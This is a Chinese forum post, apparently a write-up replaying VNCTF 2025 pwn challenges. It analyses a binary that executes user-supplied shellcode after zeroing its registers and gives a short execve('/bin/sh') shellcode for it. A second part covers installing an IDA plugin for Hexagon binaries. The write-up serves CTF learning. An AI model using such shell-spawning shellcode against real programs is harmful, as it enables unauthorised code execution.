-
-
[原创]VNCTF-2025-赛后复现
-
发表于: 2025-3-3 12:58 2034
-
赛后简单复现一下
PWN
签到
日常检查一下
1
2
3
4
5
6
7
8
9
10
11
|
llq@llq-virtual-machine:~$ checksec pwn [*] '/home/llq/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
llq@llq-virtual-machine:~$ |
只有canary是关的
ida打开看一下main函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
int __fastcall main( int argc, const char **argv, const char **envp)
{ void *buf; // [rsp+8h] [rbp-8h]
setbuf (stdin, 0LL);
setbuf (stdout, 0LL);
setbuf (stderr, 0LL);
puts ( "hello hacker" );
puts ( "try to show your strength " );
buf = mmap(( void *)0x114514000LL, 0x1000uLL, 7, 34, -1, 0LL);
read(0, buf, 0x16uLL);
mprotect(buf, 0x1000uLL, 7);
execute(buf);
return 0;
} |
刚开始以为就是一个绕过、重定位
但是注意看一下execute()函数
看一眼汇编
.text:00000000000011C9 .text:00000000000011C9 .text:00000000000011C9 ; void __fastcall execute(__int64) .text:00000000000011C9 public execute .text:00000000000011C9 execute proc near ; CODE XREF: main+CA↓p .text:00000000000011C9 .text:00000000000011C9 var_30 = qword ptr -30h .text:00000000000011C9 .text:00000000000011C9 ; __unwind { .text:00000000000011C9 endbr64 .text:00000000000011CD push rbp .text:00000000000011CE mov rbp, rsp .text:00000000000011D1 push r15 .text:00000000000011D3 push r14 .text:00000000000011D5 push r13 .text:00000000000011D7 push r12 .text:00000000000011D9 push rbx .text:00000000000011DA mov [rbp+var_30], rdi .text:00000000000011DE mov rdi, [rbp+var_30] .text:00000000000011E2 xor rax, rax .text:00000000000011E5 xor rbx, rbx .text:00000000000011E8 xor rcx, rcx .text:00000000000011EB xor rdx, rdx .text:00000000000011EE xor rsi, rsi .text:00000000000011F1 xor r8, r8 .text:00000000000011F4 xor r9, r9 .text:00000000000011F7 xor r10, r10 .text:00000000000011FA xor r11, r11 .text:00000000000011FD xor r12, r12 .text:0000000000001200 xor r13, r13 .text:0000000000001203 xor r14, r14 .text:0000000000001206 xor r15, r15 .text:0000000000001209 xor rbp, rbp .text:000000000000120C xor rsp, rsp .text:000000000000120F mov rdi, rdi .text:0000000000001212 jmp rdi
当开始没看懂这个是干啥的,主要注意的是rsp会被置零。
这里直接是复现j1ya师傅的,他建议直接打ret2syscall
这里复习一下
execve("/bin/sh", NULL, NULL)
第一个参数要设置为/bin/sh,也是就rdi
后两个参数分别是rsi,rdx,因为是NULL就不设置了
最后就是系统调用号的设置,因为是64位,翻一下笔记
1
2
3
4
5
6
7
|
shellcode = asm(
''' mov al,59 add rdi,8 syscall ''' ) + b '/bin/sh\x00'
|
然后正常打即可
hexagon
这个直接是两眼一黑
日常检查一下
1
2
3
4
5
6
7
8
9
10
|
llq@llq-virtual-machine:~$ checksec main [!] Could not populate PLT: AttributeError: arch ( 'em_qdsp6' ) must be one of [ 'aarch64' , 'alpha' , 'amd64' , 'arm' , 'avr' , 'cris' , 'i386' , 'ia64' , 'm68k' , 'mips' , 'mips64' , 'msp430' , 'none' , 'powerpc' , 'powerpc64' , 'riscv32' , 'riscv64' , 's390' , 'sparc' , 'sparc64' , 'thumb' , 'vax' ]
[*] '/home/llq/main'
Arch: em_qdsp6-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x10000)
Stripped: No
llq@llq-virtual-machine:~$ |
不认识的架构,直接搜一下
大概扫一眼,看见了用于ida,想着要下一下插件
方法1
这里我找了几篇文章看了看
这里我开始找的还是比较麻烦的。
首先根据文章1,进行文件下载下来按照正常readme按照即可
这里讲一下踩坑点
12python
-
m pip install setuptools
python setup.py install
敲这个命令的时候要注意要在内置的idapython里面敲,安装在ida内置的python里面要不然会报错找不到
hexagondisasm
包。解决安装后,笔者这里还遇到了
disassembler
模块引用找不到,这里找到安装hexagondisasm
包路径如下:
1\.\.\IDA_Pro_7.
7_max
\IDA_Pro_7.
7
\python38\Lib\site
-
packages\hexag00n
-
0.1
-
py3.
8.egg
\hexagondisasm
修改如下:
1from
.
import
disassembler
- 就在笔者以为大功告成的时候我们会发现,有一个函数居然找不到引用
- 因为笔者的ida的版本是7.5以上,这个函数是被弃用了,也是又找了找,终于在文章2找到替代的
hexagon.py
文件,成功替换之后也是打开了这个异架构文件,注意勾选的时候选择一下即可
- 然后我们就成功的打开了
方法2
但是!!!!
看完wp之后你会发现这里还有一个更简单的插件,也就是有师傅直接提供了dll。
其实仔细看的开头的文章时,就应该看见这个的,只不过笔者,开始就找错了方向,一条路走到黑了
只能说
赞赏记录
参与人
雪币
留言
时间
bananaships
你的帖子非常有用,感谢分享!
2025-3-4 18:06
ldljlzw
为你点赞!
2025-3-4 08:48
AyaseMiya
感谢你的贡献,论坛因你而更加精彩!
2025-3-3 13:24
cr4eper
为你点赞!
2025-3-3 13:12
赞赏
赞赏
雪币:
留言: